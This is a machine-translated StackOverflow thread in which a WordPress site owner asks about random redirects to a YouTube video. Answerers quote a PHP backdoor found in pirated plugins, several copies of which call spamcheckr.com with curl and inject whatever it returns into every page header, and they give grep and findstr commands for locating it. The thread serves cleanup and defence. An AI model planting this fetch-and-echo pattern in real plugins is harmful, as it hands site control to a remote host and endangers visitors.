Hello StackOverflow社区。我今天有一个非常有趣的(在我看来)感染与你分享。
4-5天前我意识到我的博客主页在加载几秒后被重定向到另一页。特别是对于youtube,在Justin Bieber视频中。我认为这是我的电脑问题,所以我扫描了病毒和恶意软件。但这不是我的错。
最后,我确信这不是一个本地问题,因为Google的网页速度见解有同样的结果。
因此,经过数小时的研究(以及一些破碎的键盘),我发现了这些线索。详情:
我的标题内创建了一个元标记,类似于:
<meta http-equiv="refresh" content="0; url=http://www.youtube.com/watch?v=RFngSCaY5nA">
首先,我禁用了所有插件,但没有结果。过了一会儿,问题仍然存在。 其次,我搜索了所有数据库表,以查明视频的URL是否包含在某处,但它不是。 然后我在我的模板编辑器中逐个搜索了php文件,但没有。 .htaccess也很清楚(不是100%肯定我在那里寻找的东西,但我认为没有什么可疑的。)
毕竟,我通过FTP下载了我的整个网站,并在每个文件中搜索了这个URL。我发现它包含在CACHE文件夹的某些HTML文件中。我为此目的使用W3 Total Cache。我删除了整个缓存文件夹,但过了一段时间后问题仍然存在。
这里有趣的事实是这种病毒&#34;并不总是活跃的。它出现在随机时间,每次都在不同的页面。今晚我意识到它出现在第二台电脑上,同时一切都在我的电脑上看起来很好。
Youtube视频网址为:http://www.youtube.com/watch?v=RFngSCaY5nA
所以我的问题是:在删除整个安装并从头开始之前,有没有人有推荐的解决方案?有没有其他人在过去遇到同样的问题?
我认为我必须分享。我很抱歉这篇长篇文章,试图尽可能详细。我不擅长编码,这是我第一次尝试运行一个WordPress网站,所以可能会有一些我忘了。
提前致谢。
答案 0 :(得分:9)
我有同样的问题,并认为我找到了解决方案! 检查您的网站文件以获取此链接:http://spamcheckr.com/l.php 我在formcraft插件中找到了这个链接。
像这样:
if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqqc2_chesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqqc2_chesk');}}
<强>编辑:强> 同时检查:http://spamcheckr.com/req.php
答案 1 :(得分:2)
我在 wordpress fooboxV2插件中找到了这个脚本。(FooBox) 插件官方网址为http://fooplugins.com/plugins/foobox/
这是脚本文件路径 的 /wp-content/plugins/fooboxV2/includes/foolic_class.php 强>
你可以看到整个脚本都被评论过。但是我在这个注释代码中找到了这段代码。
<?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqc2_hhesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqc2_hhesk');}} ?>
答案 2 :(得分:1)
如果您使用的是Gravity Forms的无形版本,您可能还会遇到此重定向问题。要解决此问题,请转至/plugins/gravityforms/settings/setting.php并删除以下代码:
<?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqc2_cahesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqc2_cahesk');}} ?>
祝你好运。
答案 3 :(得分:0)
上面的答案很好。要添加它,我建议对搜索代码时遇到问题的人使用grep:
grep -nr 'http://spamcheckr.com/l.php' /www/wordpress/wp-content
如果您没有grep并且无法访问您的服务器(Windows用户),请下载它或使用findstr:
findstr /s /i /p "http://spamcheckr.com/l.php" /www/wordpress/wp-content
(别忘了将/ www / wordpress / wp-content更改为该位置或您的wordpress文件夹
答案 4 :(得分:0)
也找到了它。在我的情况下,我使用了一个明显无效的插件(我没有意识到)。它被称为woocommerce-checkout-field-editor,并且正在注入Justin Bieber youtube视频的链接。
该功能如下所示,隐藏在\ wp-content \ plugins \ woocommerce-checkout-field-editor \ assets \ js \ class.php中:
if (mt_rand(0,99) == 1) {
function sec_check() {
if(function_exists('curl_init'))
{
$url = "spamcheckr.com/req.php";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
}
add_action('wp_head','sec_check');
}
正如我们所看到的,它只会在随机函数达到'1'时显示垃圾邮件。然后,它礼貌地询问是否安装了curl,然后向垃圾邮件服务器发送一个简单的GET请求,以查看它应该注入的代码。
该网站是spamcheckr.com。
然后它将自己添加到WordPress标题中并重定向页面的查看器。
我向他们的主人报告了该网站,让我们看看会发生什么。